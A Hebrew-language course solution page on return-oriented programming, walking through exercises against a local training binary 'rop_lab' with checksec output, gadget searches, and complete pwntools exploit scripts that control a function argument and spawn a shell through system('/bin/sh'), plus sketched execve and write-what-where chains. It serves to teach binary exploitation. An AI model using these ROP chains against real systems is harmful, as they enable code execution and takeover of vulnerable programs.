לדלג לתוכן

4.3 ROP וגאדג'טים פתרון

פתרון - ROP וגאדג'טים

נעבור תרגיל אחרי תרגיל עם הפקודות האמיתיות, הפלט הצפוי, וה-exploit המלא. הכתובות בפלט הן דוגמה בלבד; בין גרסאות מהדר הן משתנות מעט, אז תמיד שלפו את הכתובות מהבינארי שלכם ואל תעתיקו עיוור.

פתרון תרגיל 1 - סיור והכנה

בדיקת ההגנות:

$ checksec --file=./rop_lab
RELRO           STACK CANARY   NX            PIE
Partial RELRO   No canary      NX enabled    No PIE

בדיוק מה שרצינו: NX פעיל (לכן ROP), אין canary, אין PIE (כתובות קבועות).

מציאת הכתובות:

$ objdump -d rop_lab | grep '<secret>:'
0000000000401196 <secret>:

$ objdump -d rop_lab | grep '<system@plt>:'
0000000000401060 <system@plt>:

$ ROPgadget --binary rop_lab --string '/bin/sh'
0x0000000000402008 : /bin/sh

מציאת ה-offset עם cyclic:

from pwn import *
context.binary = ELF('./rop_lab')

p = process('./rop_lab')
p.sendline(cyclic(200))
p.wait()

core  = p.corefile
fault = core.read(core.rsp, 8)      # what was on top of the stack at ret
log.info('offset = %d', cyclic_find(fault))

עבור rop_lab (buffer 64 + saved rbp 8) יוצא offset של 72. אם אצלכם יצא ערך אחר, זה בגלל padding alignment של המהדר - השתמשו בערך שמדדתם. הלקח החוזר: מפה לפני שתוקפים.

פתרון תרגיל 2 - מציאת גאדג'טים

שלוש הדרכים, ואותה תוצאה:

$ ROPgadget --binary rop_lab | grep 'pop rdi ; ret'
0x0000000000401256 : pop rdi ; ret

$ ropper --file rop_lab --search "pop rdi; ret"
[INFO] File: rop_lab
0x0000000000401256: pop rdi; ret;

$ ROPgadget --binary rop_lab | grep ': ret$'
0x000000000040101a : ret

ומתוך python:

from pwn import *
rop = ROP(ELF('./rop_lab'))
print(hex(rop.find_gadget(['pop rdi', 'ret'])[0]))   # 0x401256
print(hex(rop.find_gadget(['ret'])[0]))              # 0x40101a

שלושתם מסכימים על 0x401256 ל-pop rdi ; ret ועל 0x40101a ל-ret בודד. למה זה עבד: הכלים סורקים את אותם בתים באותו מקטע .text, אז ההסכמה מובטחת. איך להכליל: כדאי להכיר את שלושתם כי בגאדג'טים מסובכים לפעמים אחד מציג יפה יותר מהשני.

פתרון תרגיל 3 - ROP chain עם ארגומנט מבוקר

טוענים את rdi בערך הסודי וקופצים ל-secret:

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./rop_lab')

pop_rdi = 0x401256
secret  = elf.symbols['secret']     # 0x401196

offset = 72
payload = flat({offset: [
    pop_rdi, 0xdeadbeefcafe,         # rdi = code
    secret,                          # secret(0xdeadbeefcafe)
]})

p = process('./rop_lab')
p.recvuntil(b'bytes:')
p.sendline(payload)
print(p.recvall(timeout=2).decode())

הפלט:

SECRET UNLOCKED: FLAG{rop_arg_control}

למה זה עבד: הזרימה היא ret של vuln -> pop rdi ; ret שולף את 0xdeadbeefcafe ל-rdi -> ה-ret של הגאדג'ט קופץ ל-secret כש-rdi כבר מכיל את הערך הנכון, אז ה-if עובר. שימו לב שכאן לא נזקקנו לalignment מחסנית, כי secret קוראת רק ל-puts (שלא קורס על movaps), לא ל-system. איך להכליל: זו התבנית הכללית לקריאה לכל פונקציה ב-64 ביט עם ארגומנט אחד - [pop rdi] [ערך] [כתובת הפונקציה].

פתרון תרגיל 4 - ROP chain ל-shell

עכשיו system("/bin/sh"). שימו לב לגאדג'ט ה-ret הבודד בהתחלה - הוא מיישר את המחסנית ומונע את קריסת ה-movaps:

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./rop_lab')

pop_rdi = 0x401256
ret     = 0x40101a              # single ret gadget for alignment
binsh   = 0x402008
system  = elf.plt['system']     # 0x401060

offset = 72
payload = flat({offset: [
    ret,                        # aligns the stack to 16 bytes
    pop_rdi, binsh,             # rdi = address of "/bin/sh"
    system,                     # system("/bin/sh")
]})

p = process('./rop_lab')
p.recvuntil(b'bytes:')
p.sendline(payload)
p.interactive()

הפלט, ואז shell:

$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$ ls
rop_lab  rop_lab.c

אם היינו משמיטים את גאדג'ט ה-ret הראשון, היינו רואים ב-gdb קריסה כזו:

Program received signal SIGSEGV
=> 0x7ffff7e4a3b1 <do_system+915>: movaps XMMWORD PTR [rsp+0x50], xmm0

זה החתום המובהק של בעיית הalignment. למה זה עבד: pop rdi הצביע את rdi על "/bin/sh", גאדג'ט ה-ret הבודד יישר את rsp ל-16 בתים כך ש-movaps בתוך do_system לא קרס, ו-system קיבל את הארגומנט הנכון. איך להכליל: כל קריאה ל-system/printf ב-64 ביט צריכה לחשוד בalignment. גאדג'ט ret אחד פותר.

פתרון תרגיל 5 - אותו דבר עם אובייקט ROP

אותה תוצאה, בלי כתובות קשיחות. pwntools מוצא את הגאדג'טים ואת המחרוזת לבד:

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./rop_lab')

binsh = next(elf.search(b'/bin/sh\x00'))    # finds the string in the binary

rop = ROP(elf)
rop.raw(rop.find_gadget(['ret'])[0])        # aligns the stack to 16 bytes
rop.call('system', [binsh])                 # finds pop rdi on its own
log.info('\n' + rop.dump())

offset = 72
payload = flat({offset: rop.chain()})

p = process('./rop_lab')
p.recvuntil(b'bytes:')
p.sendline(payload)
p.interactive()

ה-rop.dump() מדפיס בדיוק את מה שבנינו ידנית בתרגיל 4:

0x0000:         0x40101a ret
0x0008:         0x401256 pop rdi ; ret
0x0010:         0x402008 [arg0] rdi = 4202504
0x0018:         0x401060 system

הכתובות זהות לאלה שהזנו ביד: 0x40101a ל-ret, 0x401256 ל-pop rdi ; ret, 0x402008 למחרוזת, ו-0x401060 ל-system. למה זה עבד: ROP פענח את הבינארי, מצא את הגאדג'טים לפי תיאור, וסידר את הערכים בסדר הנכון. איך להכליל: זו דרך העבודה המקצועית - נותנים ל-ROP לבנות, ומשתמשים ב-rop.dump() כדי לאמת מול ההבנה שלנו.

פתרון תרגיל 6 (בונוס) - execve דרך syscall

החשיבה: execve("/bin/sh", 0, 0) דורש rax=59, rdi מצביע ל-"/bin/sh", rsi=0, rdx=0, ואז syscall. אילו היו לנו הגאדג'טים המתאימים והמחרוזת בבינארי, הchain הייתה:

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./rop_lab')

binsh = next(elf.search(b'/bin/sh\x00'))

rop = ROP(elf)
rop.rax = 59            # execve syscall number
rop.rdi = binsh         # pointer to "/bin/sh"
rop.rsi = 0
rop.rdx = 0
rop.raw(rop.find_gadget(['syscall', 'ret'])[0])
log.info('\n' + rop.dump())

מחפשים את הגאדג'טים:

$ ROPgadget --binary rop_lab --only 'pop|syscall|ret' | grep -E 'pop rax|syscall'

בבינארי דינמי קטן כמו שלנו, כמעט תמיד לא יימצא גאדג'ט syscall נוח, ולעיתים גם לא pop rax יפה. זה בדיוק הלקח: ה-syscall הישיר זמין בעיקר בבינארי סטטי, שם כל libc מקומפל פנימה ומלא בגאדג'טים כאלה. בבינארי דינמי, כשאין system נוח, פונים לגאדג'טים ולפונקציות של libc עצמו - וזה מצריך לדעת את כתובת הבסיס של libc, שמערבבת ב-ASLR. איך משיגים אותה? מדליפים כתובת. זה בדיוק הנושא של השיעור הבא, 4.4.

ואם המחרוזת "/bin/sh" לא הייתה קיימת בבינארי בכלל? היינו שותלים אותה בעצמנו ב-.bss (כתובת קבועה בבינארי לא-PIE) עם גאדג'ט כתיבה:

pop rax ; ret        ->  rax = u64("/bin/sh\0")
pop rdi ; ret        ->  rdi = address in .bss
mov [rdi], rax ; ret ->  writes the string to .bss
... and we continue as usual with rdi = that .bss address

למה זה עבד: השתמשנו בגאדג'ט כתיבה כדי לשתול נתון בזיכרון, ואז השתמשנו בו כמו כל מחרוזת אחרת. איך להכליל: זו טכניקת ה-write-what-where, לבנה בסיסית שתחזור ב-ret2dlresolve וב-SROP בפרק 6. הרעיון הגדול: ברגע שיש לכם גאדג'ט pop וגאדג'ט mov [reg], reg, אתם יכולים לבנות בזיכרון כל מבנה נתונים שצריך לקריאה שאתם מתכננים.